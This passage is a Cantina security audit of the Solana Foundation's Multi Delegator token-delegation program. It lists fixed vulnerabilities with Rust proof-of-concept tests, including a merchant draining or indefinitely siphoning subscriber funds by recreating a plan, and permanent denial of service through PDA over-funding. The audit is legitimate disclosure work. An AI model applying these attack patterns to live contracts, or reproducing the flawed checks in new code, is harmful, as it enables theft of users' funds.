Solana Foundation: Multi Delegator
Cantina Security Report
Organization
- @solana-foundation
Engagement Type
Cantina Reviews
Period
-
Repositories
Researchers
Findings
High Risk
4 findings
4 fixed
0 acknowledged
Medium Risk
2 findings
2 fixed
0 acknowledged
Low Risk
3 findings
3 fixed
0 acknowledged
Informational
5 findings
5 fixed
0 acknowledged
High Risk4 findings
Missing start time validation allows recurring transfers before delegation period begins
State
- Fixed
PR #6
Severity
- Severity: High
≈
Likelihood: High×
Impact: Medium Submitted by
Matías Barrios
Description
The
validate_recurring_transferfunction does not verify that the current timestamp is at or past thecurrent_period_start_tsbefore allowing a transfer.The function computes
time_since_startusingsaturating_sub, as shown in the code snippet below.When
current_tsis less thancurrent_period_start_ts,saturating_subreturns 0 instead of a negative value.This means the condition
time_since_start >= period_lengthevaluates to false, skipping the period advancement logic entirely.Since
amount_pulled_in_periodstarts at 0, the fullamount_per_periodbudget is available for transfer immediately after delegation creation, regardless of the intended start time.pub fn validate_recurring_transfer( transfer_amount: u64, amount_per_period: u64, period_length_s: u64, current_period_start_ts: &mut i64, amount_pulled_in_period: &mut u64, expiry_ts: i64, current_ts: i64,) -> ProgramResult { ... let time_since_start = current_ts.saturating_sub(*current_period_start_ts); if time_since_start >= period_length { ... } let available = amount_per_period .checked_sub(*amount_pulled_in_period) .ok_or(MultiDelegatorError::ArithmeticUnderflow)?; if transfer_amount > available { return Err(MultiDelegatorError::AmountExceedsPeriodLimit.into()); } ...}A delegatee can pull funds from the delegator's token account before the agreed-upon delegation start time.
This affects both
transfer_recurring_delegationandtransfer_subscriptioninstructions, as both rely onvalidate_recurring_transferfor period-based budget enforcement.For recurring delegations where
current_period_start_tsis set to a future date, the fullamount_per_periodcan be withdrawn immediately, bypassing the intended time-lock.Proof of Concept
The following test creates a recurring delegation with
start_tsset 1 day in the future, then executes a fulltransfer_recurring_delegationinstruction at the current time. The transfer succeeds and tokens are moved to the delegatee's account before the delegation period has started.fn test_recurring_transfer_before_start_ts() { let amount_per_period: u64 = 50_000_000; let period_length_s: u64 = hours(1); // start_ts 1 day in the future let start_ts: i64 = current_ts() + days(1) as i64; let expiry_ts: i64 = current_ts() + days(7) as i64; let nonce = 0; let (mut litesvm, alice, bob, delegation_pda, mint, _, bob_ata, _) = setup_recurring_delegation( amount_per_period, period_length_s, start_ts, expiry_ts, nonce, ); assert_eq!(get_ata_balance(&litesvm, &bob_ata), 0); // Transfer BEFORE start_ts — current time is ~now, start_ts is +1 day let transfer_amount: u64 = 10_000_000; let result = TransferDelegation::new(&mut litesvm, &bob, alice.pubkey(), mint, delegation_pda) .amount(transfer_amount) .recurring(); // Bug: transfer succeeds even though the delegation period hasn't started result.assert_ok(); assert_eq!( get_ata_balance(&litesvm, &bob_ata), transfer_amount, "Delegatee was able to transfer before start_ts" ); }Recommendation
It is recommended to add an explicit check that
current_tsis at or pastcurrent_period_start_tsbefore proceeding with the transfer validation.if current_ts < *current_period_start_ts { return Err(MultiDelegatorError::DelegationNotStarted.into());}Solana Foundation: Fixed in PR 6
Cantina: Verified fix.
Malicious merchant can drain subscriber funds by deleting and recreating a plan with an inflated per-period amount
Description
The
transfer_subscriptioninstruction reads the per-period spending limit (amount_per_period) from the current on-chain Plan account data at the time of transfer, rather than from a value snapshotted into theSubscriptionDelegationat subscribe time:// transfer_subscription.rs:60amount_per_period = plan.data.amount;The Plan PDA is derived deterministically from seeds
["plan", owner, plan_id]. When a merchant deletes an expired plan and recreates it with the sameplan_id, the new plan occupies the exact same PDA address. ExistingSubscriptionDelegationaccounts (which store the plan PDA as theirdelegatee) continue to reference the address, and all validation checks pass:- PDA address match (
transfer_subscription.rs):subscription.header.delegatee == plan_pda.address()passes because the address is unchanged. - Program ownership (
transfer_subscription.rs): The new plan is owned by the program. - Mint check (
transfer_subscription.rs): The merchant recreates the plan with the same mint. - Puller authorization (
transfer_subscription.rs): The merchant is still the plan owner.
The only field that changed is the
plan.data.amountand is the one read without any cross-check against the subscriber's original agreement. The merchant setsamount = u64::MAXon the new plan and drains the subscriber's entire token balance in a single transfer.Proof of Concept
The following test is added to
subscribe.rsand passes on the current codebase, confirming the vulnerability:#[test]fn ghost_subscription_attack_via_plan_recreation() { let (mut litesvm, alice) = setup(); let merchant = Keypair::new(); litesvm.airdrop(&merchant.pubkey(), 10_000_000_000).unwrap(); let mint = init_mint( &mut litesvm, TOKEN_PROGRAM_ID, MINT_DECIMALS, 1_000_000_000, Some(alice.pubkey()), &[], ); let alice_ata = init_ata(&mut litesvm, mint, alice.pubkey(), 100_000_000); let merchant_ata = init_ata(&mut litesvm, mint, merchant.pubkey(), 0); initialize_multidelegate_action(&mut litesvm, &alice, mint) .0 .assert_ok(); // Step 1: Merchant creates plan and Alice agrees to 1_000 tokens/period max. let original_amount = 1_000u64; let end_ts = current_ts() + days(2) as i64; let (res, plan_pda) = CreatePlan::new(&mut litesvm, &merchant, mint) .plan_id(1) .amount(original_amount) .period_hours(1) .end_ts(end_ts) .execute(); res.assert_ok(); // Step 2: Alice subscribes, trusting the 1_000/period limit. let (_, plan_bump) = get_plan_pda(&merchant.pubkey(), 1); Subscribe::new( &mut litesvm, &alice, merchant.pubkey(), plan_pda, 1, plan_bump, mint, ) .execute() .assert_ok(); let (subscription_pda, _) = get_subscription_pda(&plan_pda, &alice.pubkey()); // Step 3: Confirm the original limit IS enforced and pulling 1_001 fails. TransferSubscription::new( &mut litesvm, &merchant, alice.pubkey(), mint, subscription_pda, plan_pda, ) .amount(original_amount + 1) .execute() .assert_err(MultiDelegatorError::AmountExceedsPeriodLimit); // Step 4: Time passes, plan expires. Merchant deletes it. move_clock_forward(&mut litesvm, days(3)); DeletePlan::new(&mut litesvm, &merchant, plan_pda) .execute() .assert_ok(); // Step 5: Merchant recreates plan with SAME plan_id but 50,000x the amount. let malicious_amount = 50_000_000u64; let new_end_ts = current_ts() + days(60) as i64; let (res, new_plan_pda) = CreatePlan::new(&mut litesvm, &merchant, mint) .plan_id(1) .amount(malicious_amount) .period_hours(1) .end_ts(new_end_ts) .execute(); res.assert_ok(); // The plan PDA is deterministic so same seeds produce same address. assert_eq!(plan_pda, new_plan_pda, "recreated plan must have same PDA"); // Step 6: Merchant pulls 50_000_000 from Alice's old subscription. // Alice only ever consented to 1_000/period. let alice_balance_before = get_ata_balance(&litesvm, &alice_ata); TransferSubscription::new( &mut litesvm, &merchant, alice.pubkey(), mint, subscription_pda, new_plan_pda, ) .amount(malicious_amount) .execute() .assert_ok(); // Attack succeeded: merchant stole 50,000x what Alice agreed to. assert_eq!(get_ata_balance(&litesvm, &merchant_ata), malicious_amount); assert_eq!( get_ata_balance(&litesvm, &alice_ata), alice_balance_before - malicious_amount, );}Test output:
test instructions::subscribe::tests::ghost_subscription_attack_via_plan_recreation ... okLikelihood: High
The attack requires a malicious or compromised merchant - an entity that already has a privileged role in the system. The barrier to exploitation is low.
Impact: High
Every un-revoked subscription to a deleted plan is exploitable. A single merchant with thousands of subscribers could drain all of them in one transaction block.
Recommendation
Any one of the following fixes eliminates the vulnerability. They can be combined for defense in depth.
- Snapshot the agreed-upon amount into the subscription (recommended)
Add an
amount_per_periodfield toSubscriptionDelegation. Set it at subscribe time from the plan's currentamount. Intransfer_subscription, read the limit from the subscription, not the plan:// subscribe.rs: at subscription init:subscription.amount_per_period = plan.data.amount; // transfer_subscription.rs: replace line 60:amount_per_period = subscription.amount_per_period;This decouples the subscriber's consent from the plan's mutable state. Even if the plan is recreated with a higher amount, old subscriptions remain bound to their original terms.
Trade-off: Increases
SubscriptionDelegationsize by 8 bytes (oneu64). Existing subscriptions would need a migration or the transfer instruction would need to handle both layouts.- Prevent plan_id reuse
In
create_plan, check that the plan PDA does not currently exist AND has never existed. The simplest approach is to add a monotonically increasing nonce to the Plan PDA seeds:Seeds: ["plan", owner, plan_id, creation_nonce]Alternatively, reject
create_planif aSubscriptionDelegationaccount referencing the PDA already exists though this is harder to enforce on-chain without an index.Trade-off: Changes the PDA derivation, breaking client-side address computation. Requires a corresponding update to
subscribe,transfer_subscription, and all off-chain tooling.- Invalidate ghost subscriptions at transfer time
In
transfer_subscription, add a check that the subscription'scurrent_period_start_tsis not older than the plan's creation timestamp. This requires adding acreated_atfield toPlan:// transfer_subscription.rs: after loading both plan and subscription:if subscription.current_period_start_ts < plan.created_at { return Err(MultiDelegatorError::SubscriptionStale.into());}Trade-off: Increases
Plansize by 8 bytes. Legitimate long-running subscriptions that span a plan recreation would be correctly rejected.Regardless of which fix is chosen, consider also:
- Emitting an event when a plan is deleted, so off-chain indexers can proactively notify subscribers to revoke.
- Adding a
plan_generationcounter to the Plan account that increments on recreation, so clients can detect plan identity changes.
Solana Foundation: Fixed in PR 4
Cantina: Verified fix. This finding shares the same root cause as Finding #13 (ghost subscription timeline extension). Both exploit the absence of term snapshotting in SubscriptionDelegation: #8 inflates amount for an instant drain, #13 extends end_ts for a slow siphon.
The fix resolves both vectors with a single mechanism. The PlanTerms struct (
amount,period_hours,created_at) is snapshotted into each subscription at subscribe time. At transfer time,check_plan_terms()compares the snapshot against the live plan. If a merchant has deleted and recreated the plan (even with the same plan_id and mint), the program-set created_at timestamp will differ, and the transfer is rejected with PlanTermsMismatch.Of the three recommended fixes in the finding, the implemented approach corresponds to Option A (snapshot agreed terms) combined with elements of Option C (the created_at field acts as the staleness check).
- PDA address match (
Attacker can permanently block PDA creation by over-funding the address beyond the rent-exempt minimum
Description
ProgramAccount::init(program.rs:27-74) handles the case where a PDA has been pre-funded with lamports before the legitimate creator calls the instruction. When the account already has lamports, the code computes how much additional SOL the payer needs to transfer to reach the rent-exempt minimum:// program.rs:47-49let required_lamports = lamports // rent-exempt minimum .checked_sub(account.lamports()) // pre-funded amount .ok_or(MultiDelegatorError::ArithmeticUnderflow)?; // FAILS if over-fundedIf the pre-funded amount exceeds the rent-exempt minimum,
checked_subreturnsNoneand the instruction fails withArithmeticUnderflow. Since the PDA address is deterministic and nobody holds its private key, the excess lamports can never be withdrawn. Every subsequent creation attempt hits the samechecked_subunderflow, making the DoS permanent.The existing test
initialize_multidelegate_with_prefunded_pdaonly covers the under-funded case (1,000 lamports, below rent-exempt). The over-funded case was not tested.Proof of Concept
The following test is added to
initialize_multidelegate.rsand passes on the current codebase:#[test]fn overfunded_pda_blocks_creation_permanently() { use solana_account::Account; let (litesvm, user) = &mut setup(); let mint = init_mint( litesvm, TOKEN_PROGRAM_ID, MINT_DECIMALS, 1_000_000_000, Some(user.pubkey()), &[], ); let _user_ata = init_ata(litesvm, mint, user.pubkey(), 1_000_000); let (multi_delegate_pda, _) = crate::tests::pda::get_multidelegate_pda(&user.pubkey(), &mint); // Attacker pre-funds the PDA with MORE than the rent-exempt minimum. // MultiDelegate::LEN = 66 bytes -> rent-exempt ~ 1,350,240 lamports. // Attacker sends 10,000,000 lamports (well above rent-exempt). litesvm .set_account( multi_delegate_pda, Account { lamports: 10_000_000, data: vec![], owner: solana_pubkey::Pubkey::default(), executable: false, rent_epoch: 0, }, ) .unwrap(); // Legitimate user tries to initialize -- blocked by checked_sub // underflow in ProgramAccount::init (program.rs:47-49). let (res, _, _) = initialize_multidelegate_action(litesvm, user, mint); res.assert_err(MultiDelegatorError::ArithmeticUnderflow); // Account was NOT created -- attacker achieved permanent DoS. let account = litesvm.get_account(&multi_delegate_pda).unwrap(); assert!( account.data.is_empty(), "MultiDelegate should not have been initialized" );}Test output:
test instructions::initialize_multidelegate::tests::overfunded_pda_blocks_creation_permanently ... okLikelihood: Medium
The attacker only needs to transfer slightly more than the rent-exempt minimum (~0.002 SOL for most account sizes). This is economically negligible.
Impact: High
A user's MultiDelegate PDA has exactly one valid address per (user, mint) pair. If bricked, the user cannot use the multi-delegator program at all for that token. There is no alternative PDA, no nonce to rotate, and no recovery path. The user's ability to create any delegation (fixed, recurring, or subscription) for that mint is permanently destroyed.
Recommendation
Replace
checked_subwithsaturating_subso that over-funded PDAs are handled gracefully.Solana Foundation: Fixed in PR 5
Cantina: Verified fix.
Malicious merchant can siphon subscriber funds indefinitely by deleting and recreating a plan with an extended end_ts
Description
This is the converse of issue #9. Where issue #9 inflates
amountto drain funds instantly, this attack extendsend_tsto siphon funds perpetually beyond the subscriber's agreed timeline.The
transfer_subscriptioninstruction reads the plan's expiry timestamp from the current on-chain Plan account at transfer time:// transfer_subscription.rs:48-51plan_end_ts = plan.data.end_ts;if plan_end_ts != 0 && current_ts > plan_end_ts { return Err(MultiDelegatorError::PlanExpired.into());}The
SubscriptionDelegationdoes not store theend_tsthe subscriber agreed to. When a merchant deletes an expired plan and recreates it with the sameplan_idbut a laterend_ts, the expiry check reads the new value. Transfers that were correctly blocked byPlanExpirednow succeed again.The merchant doesn't need to change the amount or period and the same modest pull rate continues operating, but for months or years beyond what the subscriber consented to. This makes the attack harder to detect than issue #9 which causes an instant drain: from the subscriber's perspective, the same small amounts keep leaving their account long after the subscription should have ended.
Proof of Concept
The following test is added to
subscribe.rsand passes on the current codebase:#[test]fn ghost_subscription_attack_extended_timeline() { let (mut litesvm, alice) = setup(); let merchant = Keypair::new(); litesvm.airdrop(&merchant.pubkey(), 10_000_000_000).unwrap(); let mint = init_mint( &mut litesvm, TOKEN_PROGRAM_ID, MINT_DECIMALS, 1_000_000_000, Some(alice.pubkey()), &[], ); let alice_ata = init_ata(&mut litesvm, mint, alice.pubkey(), 100_000_000); let merchant_ata = init_ata(&mut litesvm, mint, merchant.pubkey(), 0); initialize_multidelegate_action(&mut litesvm, &alice, mint) .0 .assert_ok(); // Step 1: Plan with modest amount, short lifetime (2 days). let amount = 1_000u64; let original_end_ts = current_ts() + days(2) as i64; let (res, plan_pda) = CreatePlan::new(&mut litesvm, &merchant, mint) .plan_id(1) .amount(amount) .period_hours(1) .end_ts(original_end_ts) .execute(); res.assert_ok(); // Step 2: Alice subscribes — she agrees to 1_000/hr for 2 days. let (_, plan_bump) = get_plan_pda(&merchant.pubkey(), 1); Subscribe::new( &mut litesvm, &alice, merchant.pubkey(), plan_pda, 1, plan_bump, mint, ) .execute() .assert_ok(); let (subscription_pda, _) = get_subscription_pda(&plan_pda, &alice.pubkey()); // Step 3: Merchant pulls legitimately in the first period. TransferSubscription::new( &mut litesvm, &merchant, alice.pubkey(), mint, subscription_pda, plan_pda, ) .amount(amount) .execute() .assert_ok(); assert_eq!(get_ata_balance(&litesvm, &merchant_ata), amount); // Step 4: Plan expires. Transfers are blocked. move_clock_forward(&mut litesvm, days(3)); TransferSubscription::new( &mut litesvm, &merchant, alice.pubkey(), mint, subscription_pda, plan_pda, ) .amount(amount) .execute() .assert_err(MultiDelegatorError::PlanExpired); // Step 5: Merchant deletes expired plan, recreates with same // plan_id and amount but end_ts extended by a year. DeletePlan::new(&mut litesvm, &merchant, plan_pda) .execute() .assert_ok(); let extended_end_ts = current_ts() + days(365) as i64; let (res, new_plan_pda) = CreatePlan::new(&mut litesvm, &merchant, mint) .plan_id(1) .amount(amount) .period_hours(1) .end_ts(extended_end_ts) .execute(); res.assert_ok(); assert_eq!(plan_pda, new_plan_pda); // Step 6: Merchant resumes pulling — Alice's 2-day agreement is // now silently extended to 365+ days. let balance_before = get_ata_balance(&litesvm, &alice_ata); TransferSubscription::new( &mut litesvm, &merchant, alice.pubkey(), mint, subscription_pda, new_plan_pda, ) .amount(amount) .execute() .assert_ok(); assert_eq!( get_ata_balance(&litesvm, &alice_ata), balance_before - amount, "Merchant siphoned tokens beyond the original 2-day agreement", ); // Step 7: Advance another 30 days — still pulling from Alice. move_clock_forward(&mut litesvm, days(30)); TransferSubscription::new( &mut litesvm, &merchant, alice.pubkey(), mint, subscription_pda, new_plan_pda, ) .amount(amount) .execute() .assert_ok(); // Merchant has now pulled well beyond Alice's original 2-day window. assert!( get_ata_balance(&litesvm, &merchant_ata) > amount, "Merchant continues extracting tokens months after the original plan expired", );}Test output:
test instructions::subscribe::tests::ghost_subscription_attack_extended_timeline ... okRecommendation
The same fixes from issue #9 address this issue as both share the same root cause. The recommended fix (Option A from issue #9) snapshots
amount_per_period,period_hours, andend_tsinto theSubscriptionDelegationat subscribe time:// subscribe.rs — at subscription init:subscription.plan_end_ts = plan.data.end_ts; // transfer_subscription.rs — replace line 48:plan_end_ts = subscription.plan_end_ts;With the expiry stored in the subscription, a recreated plan with an extended
end_tshas no effect on existing subscriptions as they expire according to the original terms.Solana Foundation: Fixed in PR 4
Cantina: The fix correctly mitigates the delete-and-recreate attack vector by snapshotting PlanTerms (including the program-controlled created_at fingerprint) into each SubscriptionDelegation at subscribe time. Transfers and cancellations validate the snapshot against the live plan via
check_plan_terms(), blocking ghost plans.The parameter
end_tsis intentionally not snapshotted and remains read from the live Plan account. This means merchants can extend a plan's lifetime viaupdate_planwithout triggering PlanTermsMismatch. This is expected behavior and subscribers retain the ability to cancel at any time if they disagree with the updated timeline. The ghost-account vector (delete + recreate with extendedend_ts) is fully blocked by thecreated_at fingerprint, which differs for every plan lifecycle.
Medium Risk2 findings
Fixed delegation creation rejects zero expiry despite being a valid "no expiry" sentinel
Description
The
CreateFixedDelegationData::validate()method increate_fixed_delegation.rsdoes not account for theexpiry_ts = 0sentinel value that represents a delegation with no expiry:if self.expiry_ts < current_time.saturating_sub(TIME_DRIFT_ALLOWED_SECS) { return Err(MultiDelegatorError::FixedDelegationExpiryInPast);}The transfer-time validation in
transfer_validation.rscorrectly treats 0 as "never expires":if expiry_ts != 0 && current_ts > expiry_ts { return Err(MultiDelegatorError::DelegationExpired.into()); }This inconsistency means that on mainnet, any attempt to create a fixed delegation with
expiry_ts = 0will always fail since0 < current_time - 120will always be true. Due to this, users will not be able to create permanent (non-expiring) fixed delegations in production, which is a supported and documented feature of the protocol.Proof of Concept
The following test case demonstrates the issue:
#[test]fn create_fixed_delegation_with_no_expiry() { let (litesvm, user) = &mut setup(); let payer = user; let amount: u64 = 100_000_000; let expiry_ts: i64 = 0; let nonce: u64 = 0; let mint = init_mint( litesvm, TOKEN_PROGRAM_ID, MINT_DECIMALS, 1_000_000_000, Some(payer.pubkey()), &[], ); let _user_ata = init_ata(litesvm, mint, payer.pubkey(), 1_000_000); initialize_multidelegate_action(litesvm, payer, mint).0.assert_ok(); let delegatee = Pubkey::new_unique(); let (res, delegation_pda) = CreateDelegation::new(litesvm, payer, mint, delegatee).nonce(nonce).fixed(amount, expiry_ts); res.assert_err(MultiDelegatorError::FixedDelegationExpiryInPast);}Recommendation
Add an explicit check for the zero sentinel before the expiry-in-past validation:
if self.expiry_ts != 0 && self.expiry_ts < current_time.saturating_sub(TIME_DRIFT_ALLOWED_SECS) { return Err(MultiDelegatorError::FixedDelegationExpiryInPast); }Solana Foundation: Fixed in PR 8
Cantina: Verified fix.
Recurring delegation creation rejects zero expiry despite being a valid "no expiry" sentinel
Description
The
CreateRecurringDelegationData::validate()method increate_recurring_delegation.rsunconditionally rejectsexpiry_ts = 0:if self.start_ts >= self.expiry_ts { return Err(MultiDelegatorError::RecurringDelegationStartTimeGreaterThanExpiry);}On mainnet, start_ts is a real Unix timestamp. When
expiry_ts = 0, the conditionstart_ts >= 0is always true, so creation is rejected. However, the transfer-time validation intransfer_validation.rsexplicitly treats 0 as "never expires":if expiry_ts != 0 && current_ts > expiry_ts { return Err(MultiDelegatorError::DelegationExpired.into());}This is the same class of inconsistency as the fixed delegation zero-expiry issue. The creation path rejects the sentinel value that the transfer path is designed to accept. Users cannot create perpetual recurring delegations.
Proof of Concept
The following test demonstrates the existence of the issue:
#[test]fn create_recurring_delegation_with_zero_expiry() { let (litesvm, user) = &mut setup(); let payer = user; let amount_per_period: u64 = 50_000_000; let period_length_s: u64 = 86400; let start_ts: i64 = current_ts(); let expiry_ts: i64 = 0; // No expiry sentinel let nonce: u64 = 0; let mint = init_mint( litesvm, TOKEN_PROGRAM_ID, MINT_DECIMALS, 1_000_000_000, Some(payer.pubkey()), &[], ); let _user_ata = init_ata(litesvm, mint, payer.pubkey(), 1_000_000); initialize_multidelegate_action(litesvm, payer, mint).0.assert_ok(); let delegatee = Pubkey::new_unique(); let (res, _delegation_pda) = CreateDelegation::new(litesvm, payer, mint, delegatee) .nonce(nonce) .recurring(amount_per_period, period_length_s, start_ts, expiry_ts); res.assert_err(MultiDelegatorError::RecurringDelegationStartTimeGreaterThanExpiry);}Recommendation
Add a carve-out for the zero sentinel before the ordering check:
if self.expiry_ts != 0 && self.start_ts >= self.expiry_ts { return Err(MultiDelegatorError::RecurringDelegationStartTimeGreaterThanExpiry);}Additionally, add a test that creates a recurring delegation with expiry_ts = 0 using a realistic mainnet clock and verifies both creation and transfer succeed.
Solana Foundation: Fixed in PR 7
Cantina: Verified fix.
Low Risk3 findings
Cancellation sets expires_at_ts beyond plan's end_ts, trapping subscriber rent
Description
When a subscriber cancels,
cancel_subscription.rscomputesexpires_at_tsas the end of the current billing period:// cancel_subscription.rs:63-67expires_at_ts = periods_elapsed .checked_add(1) .and_then(|p| p.checked_mul(period_length_s)) .and_then(|offset| period_start.checked_add(offset)) .ok_or::<ProgramError>(MultiDelegatorError::ArithmeticOverflow.into())?;This value is never capped at
plan.data.end_ts. When the current billing period extends past the plan's expiry,expires_at_tsovershootsend_ts, creating a dead zone where:The subscriber's rent (~0.002 SOL) is locked in the
SubscriptionDelegationPDA untilexpires_at_tsis finally reached.Recommendation
Cap
expires_at_tsatplan.data.end_tswhen the plan has a finite end date. Add one line after the period-boundary computation:// cancel_subscription.rs - AFTER line 67 (the existing computation)// Cap at plan end_ts so the subscriber can revoke as soon as the plan expires.if plan.data.end_ts != 0 && expires_at_ts > plan.data.end_ts { expires_at_ts = plan.data.end_ts;}This ensures
expires_at_ts <= plan.data.end_tswhenever the plan has a finite lifetime. The subscriber can then revoke immediately once the plan expires, with no dead zone.The fix preserves the existing behavior for plans with
end_ts = 0(no expiry) and for cancellations where the period end falls before the plan end.Solana Foundation: Fixed in PR-10
Cantina: Verified fix. The fix adds a
.min(plan.data.end_ts)cap to theexpires_at_tscomputation inside the period-boundary calculation chain, gated behindplan.data.end_ts != 0to preserve no-expiry behavior.Merchant can slash end_ts to near-immediate via update_plan, bypassing the period-length guard enforced at creation
Description
create_planenforces thatend_tsmust be at least one full billing period into the future, ensuring subscribers get at least one complete period of service:// create_plan.rs:73-77 (PlanData::validate)if self.end_ts != 0 { let period_secs = (self.period_hours as i64) * 3600; if current_time + period_secs > self.end_ts { return Err(MultiDelegatorError::InvalidEndTs); }}update_planvalidatesend_tswith a weaker check that only requires the timestamp to be in the future:// update_plan.rs:43-49 (UpdatePlanData::validate)pub fn validate(&self, current_time: i64) -> Result<(), MultiDelegatorError> { PlanStatus::try_from(self.status).map_err(|_| MultiDelegatorError::InvalidPlanStatus)?; if self.end_ts != 0 && self.end_ts <= current_time { return Err(MultiDelegatorError::InvalidEndTs); } Ok(())}There is no check that
end_ts >= current_time + period_hours * 3600. A merchant with a 720-hour (30-day) plan can callupdate_planwithend_ts = current_ts + 1, instantly expiring the plan on the next block.Proof of Concept
The following test is added to
update_plan.rsand passes on the current codebase:#[test]fn update_plan_end_ts_bypasses_period_guard() { let (mut litesvm, owner) = setup(); let merchant = &owner; let alice = Keypair::new(); litesvm.airdrop(&alice.pubkey(), 10_000_000_000).unwrap(); let mint = init_mint( &mut litesvm, TOKEN_PROGRAM_ID, MINT_DECIMALS, 1_000_000_000, Some(alice.pubkey()), &[], ); let _alice_ata = init_ata(&mut litesvm, mint, alice.pubkey(), 100_000_000); let _merchant_ata = init_ata(&mut litesvm, mint, merchant.pubkey(), 0); initialize_multidelegate_action(&mut litesvm, &alice, mint) .0 .assert_ok(); // Create plan: 720-hour (30-day) periods, no end date. let (res, plan_pda) = CreatePlan::new(&mut litesvm, merchant, mint) .plan_id(1) .amount(1_000) .period_hours(720) .execute(); res.assert_ok(); // Alice subscribes, trusting the 30-day period. let (_, plan_bump) = get_plan_pda(&merchant.pubkey(), 1); Subscribe::new( &mut litesvm, &alice, merchant.pubkey(), plan_pda, 1, plan_bump, mint, ) .execute() .assert_ok(); let (subscription_pda, _) = get_subscription_pda(&plan_pda, &alice.pubkey()); // Merchant pulls within the agreed limit — works fine. TransferSubscription::new( &mut litesvm, merchant, alice.pubkey(), mint, subscription_pda, plan_pda, ) .amount(500) .execute() .assert_ok(); // ---- THE ATTACK ---- // create_plan would reject end_ts = current_ts + 1 for a 720h plan. // update_plan only checks end_ts > current_time — no period guard. let near_immediate_end = current_ts() + 2; let res = UpdatePlan::new(&mut litesvm, merchant, plan_pda) .end_ts(near_immediate_end) .execute(); res.assert_ok(); // <-- SHOULD be rejected but isn't. // Verify plan expires almost immediately. let account = litesvm.get_account(&plan_pda).unwrap(); let plan = Plan::load(&account.data).unwrap(); let plan_end = plan.data.end_ts; let period_secs = plan.data.period_hours as i64 * 3600; assert!( plan_end < current_ts() + period_secs, "end_ts is less than one period into the future", ); // Advance past the slashed end_ts. move_clock_forward(&mut litesvm, 3); // Transfers fail — plan expired. TransferSubscription::new( &mut litesvm, merchant, alice.pubkey(), mint, subscription_pda, plan_pda, ) .amount(100) .execute() .assert_err(MultiDelegatorError::PlanExpired); // Alice cancels. expires_at_ts is based on the 30-day period. CancelSubscription::new(&mut litesvm, &alice, plan_pda, subscription_pda) .execute() .assert_ok(); // Rent trap: expires_at_ts is ~30 days out despite the plan // having expired seconds ago. let sub_account = litesvm.get_account(&subscription_pda).unwrap(); let sub = SubscriptionDelegation::load(&sub_account.data).unwrap(); let expires_at = sub.expires_at_ts; let gap = expires_at - near_immediate_end; assert!(gap > days(29) as i64); // Revoke fails — subscriber is stuck for ~30 days. RevokeSubscription::new(&mut litesvm, &alice, subscription_pda) .execute() .assert_err(MultiDelegatorError::SubscriptionNotCancelled);}Recommendation
Apply the same period-length guard from
create_plantoupdate_planSolana Foundation: Fixed in PR 9
Cantina: Verified fix. The fix extracts the one-period-ahead guard from
create_planinto a sharedvalidate_plan_end_ts()function instate/common.rsand applies it in both create_plan and update_plan. This eliminates the inconsistency.Delegation created with expiry_ts in the past (within drift window) succeeds but Is immediately expired and unusable
Description
There is an asymmetry between how
expiry_tsis validated at delegation creation time versus transfer time.Creation (
create_fixed_delegation.rs) applies aTIME_DRIFT_ALLOWED_SECS(120s) tolerance when checking if the expiry is in the past:if self.expiry_ts != 0 && self.expiry_ts < current_time.saturating_sub(TIME_DRIFT_ALLOWED_SECS) { return Err(MultiDelegatorError::FixedDelegationExpiryInPast);}This allows an
expiry_tsup to 120 seconds behind the current clock to pass validation.Transfer (
transfer_validation.rs) performs a strict comparison with no drift tolerance:if expiry_ts != 0 && current_ts > expiry_ts { return Err(MultiDelegatorError::DelegationExpired);}This means a delegation created with
expiry_ts = now - 60swill:- Pass creation validation (60s < 120s drift window)
- Immediately fail every transfer attempt (
now > now - 60s)
The delegation PDA is allocated and rent is paid, but the delegation is dead on arrival and it can never be used for a transfer. The same asymmetry exists for
RecurringDelegationviacreate_recurring_delegation.rs:47which applies the same drift tolerance tostart_ts.Recommendation
Apply the
TIME_DRIFT_ALLOWED_SECStolerance consistently on both the creation and transfer sides. The drift window exists to account for cross-validator clock skew and the same reasoning applies at transfer time. Update the expiry check intransfer_validation.rsto match the tolerance already used at creation:// transfer_validation.rs — apply the same drift tolerance used at creationif expiry_ts != 0 && current_ts > expiry_ts.saturating_add(TIME_DRIFT_ALLOWED_SECS) { return Err(MultiDelegatorError::DelegationExpired);}The same change should be applied to the recurring transfer expiry check in
validate_recurring_transferSolana Foundation: Fixed in PR 13
Cantina: Verified fix. The fix applies TIME_DRIFT_ALLOWED_SECS (120s) tolerance symmetrically to both the creation and transfer paths.
Informational5 findings
PDA account creation propagates generic system program error instead of descriptive program error
State
- Fixed
PR #15
Severity
- Severity: Informational
Submitted by
Matías Barrios
Description
The
ProgramAccount::initfunction is used across multiple instructions to create PDA accounts via CPI to the System Program. When the PDA already exists (e.g., duplicatenoncefordelegationsor duplicateplan_idforplans), the System Program returns a genericCustom(0)error ("Allocate: account already in use").This raw error is propagated directly to callers without any descriptive context, as shown in the code snippets below.
In
create_delegation_account(used bycreate_fixed_delegationandcreate_recurring_delegation):ProgramAccount::init::<()>(accounts.payer, accounts.delegation_account, &seeds, space)?;In
create_plan_account(used bycreate_plan):ProgramAccount::init::<()>(accounts.merchant, accounts.plan_pda, &seeds, Plan::LEN)?;A pre-check on the target account's data length before the CPI would allow returning a descriptive program-specific error.
Proof of Concept
The following integration test creates a fixed delegation with nonce 0, then attempts to create another fixed delegation with the same nonce. The second creation fails with a generic System Program error instead of a descriptive program error.
#[test]fn duplicate_nonce_error_is_not_descriptive() { let (litesvm, user) = &mut setup(); let payer = user; let mint = init_mint( litesvm, TOKEN_PROGRAM_ID, MINT_DECIMALS, 1_000_000_000, Some(payer.pubkey()), &[], ); let _user_ata = init_ata(litesvm, mint, payer.pubkey(), 1_000_000); initialize_multidelegate_action(litesvm, payer, mint) .0 .assert_ok(); let delegatee = Pubkey::new_unique(); // First creation succeeds let (res, _) = CreateDelegation::new(litesvm, payer, mint, delegatee) .nonce(0) .fixed(100, current_ts() + 1000); res.assert_ok(); // Second creation with same nonce fails let (res2, _) = CreateDelegation::new(litesvm, payer, mint, delegatee) .nonce(0) .fixed(200, current_ts() + 2000); match res2 { Ok(_) => panic!("Expected duplicate nonce to fail"), Err(failed_tx) => { // The error is NOT a descriptive MultiDelegatorError, // it's a generic System Program error (Allocate on existing account) println!("Error: {:?}", failed_tx.err); } }}Recommendation
It is recommended to add a pre-check before each
ProgramAccount::initcall to verify that the target account does not already exist, and return a descriptive error if it does.For delegations in
delegation.rs:if accounts.delegation_account.data_len() > 0 { return Err(MultiDelegatorError::DelegationAlreadyExists.into());} ProgramAccount::init::<()>(accounts.payer, accounts.delegation_account, &seeds, space)?;For plans in
